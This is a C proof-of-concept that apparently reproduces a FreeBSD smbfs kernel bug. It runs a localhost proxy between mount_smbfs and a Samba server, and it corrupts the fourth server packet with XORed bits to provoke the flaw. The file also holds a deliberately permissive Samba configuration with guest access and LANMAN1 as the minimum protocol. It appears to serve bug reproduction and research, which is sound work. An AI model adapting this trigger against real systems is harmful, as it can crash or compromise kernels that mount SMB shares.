// // exercise smbfs kernel bug. acts as a proxy between // client and server, and modifies the 4th server // packet to provoke the bug. // // expects a samba 4.12 server to be running on the local host. // /usr/local/etc/smb4.conf : // [global] // map to guest = Bad User // server role = standalone // workgroup = XXX // allow unsafe cluster upgrade = yes // server min protocol = LANMAN1 // hostname lookups = no // name resolve order = host // log level = 2 // [test] // comment = For testing only, please // path = /tmp // read only = no // guest ok = yes // guest account = nobody // // sudo /usr/local/etc/rc.d/samba_server onestart // // cc -o sax1 sax1.c // sudo ./sax1 // #include #include #include #include #include #include #include #include #include #include #include #include #include #include #if defined(__FreeBSD__) #include #include #endif #define NSYM (160 / 8) static unsigned long long sa[NSYM] = { 0, 0, 0, 0, 0, 0x8000000000ull, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, }; static int si = 0; static unsigned long long symx() { if(si >= NSYM){ fprintf(stderr, "sax: too many calls to symx()\n"); return 0; } return sa[si++]; } int readable(int fd) { fd_set readfds; FD_ZERO(&readfds); FD_SET(fd, &readfds); struct timeval tv; memset(&tv, 0, sizeof(tv)); tv.tv_usec = 500 * 1000; int ss = select(fd + 1, &readfds, (fd_set*)0, (fd_set*)0, &tv); return FD_ISSET(fd, &readfds); } void middle(int client, int server) { int nclient = 0, nserver = 0; int done = 0; while(done == 0){ char buf[2048]; int cc; fd_set readfds; FD_ZERO(&readfds); FD_SET(client, &readfds); FD_SET(server, &readfds); int ss = select(32, &readfds, (fd_set*)0, (fd_set*)0, (struct timeval *)0); if(ss < 0) { perror("select"); exit(1); } while(done == 0 && readable(client)){ cc = read(client, buf, sizeof(buf)); printf("client #%d %d @%ld\n", nclient, cc, time((void*)0)); if(cc <= 0) { done = 1; break; } if(0 && nclient == 1){ for(int i = 0; i < cc; i += 8) *(unsigned long long *)(buf + i) ^= symx(); done = 1; } if(write(server, buf, cc) != cc) { perror("write to client"); done = 1; break; } nclient += 1; } while(done == 0 && readable(server)){ cc = read(server, buf, sizeof(buf)); printf("server #%d %d @%ld\n", nserver, cc, time((void*)0)); if(cc <= 0) { done = 1; break; } if(1 && nserver == 4){ for(int i = 0; i < cc; i += 8) *(unsigned long long *)(buf + i) ^= symx(); done = 1; } if(write(client, buf, cc) != cc) { perror("write to client"); done = 1; break; } nserver += 1; } } } int main(int argc, char **argv) { struct rlimit r; r.rlim_cur = r.rlim_max = 0; setrlimit(RLIMIT_CORE, &r); //system("/usr/local/etc/rc.d/samba_server onestart"); //system("/usr/local/samba/sbin/smbd --daemon --configfile=/usr/local/etc/smb4.conf"); signal(SIGPIPE, SIG_IGN); int s = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in sin; memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_port = htons(1399); if(bind(s, (struct sockaddr *)&sin, sizeof(sin)) < 0){ perror("bind"); exit(1); } if(listen(s, 10) < 0) { perror("listen"); exit(1); } printf("waiting for server\n"); while(1){ int sfd = socket(AF_INET, SOCK_STREAM, 0); if(sfd < 0) { perror("socket"); exit(1); } memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_port = htons(139); // 139? 445? sin.sin_addr.s_addr = inet_addr("127.0.0.1"); if(connect(sfd, (struct sockaddr *)&sin, sizeof(sin)) == 0){ close(sfd); break; } perror("connect"); close(sfd); sleep(2); } printf("server is alive\n"); printf("%ld before 4 sleeps\n", time((void*)0)); sleep(1); sleep(1); sleep(1); sleep(1); int mpid = fork(); if(mpid == 0){ socklen_t sinlen = sizeof(sin); int cfd = accept(s, (struct sockaddr *) &sin, &sinlen); if(cfd < 0) { perror("accept"); exit(1); } int sfd = socket(AF_INET, SOCK_STREAM, 0); if(sfd < 0) { perror("socket"); exit(1); } memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_port = htons(139); // 139? 445? sin.sin_addr.s_addr = inet_addr("127.0.0.1"); if(connect(sfd, (struct sockaddr *)&sin, sizeof(sin)) != 0){ perror("connect"); exit(1); } middle(cfd, sfd); sleep(1); sleep(1); exit(0); } system("mount_smbfs -I 127.0.0.1 -N -W XXX //guest@samba:1399/test /mnt &"); int st = 0; waitpid(mpid, &st, 0); for(int i = 0; i < 4; i++) sleep(1); if(system("dmesg | grep 'exited on sig'") == 0){ printf("smbd (?) exited\n"); while(1){} } }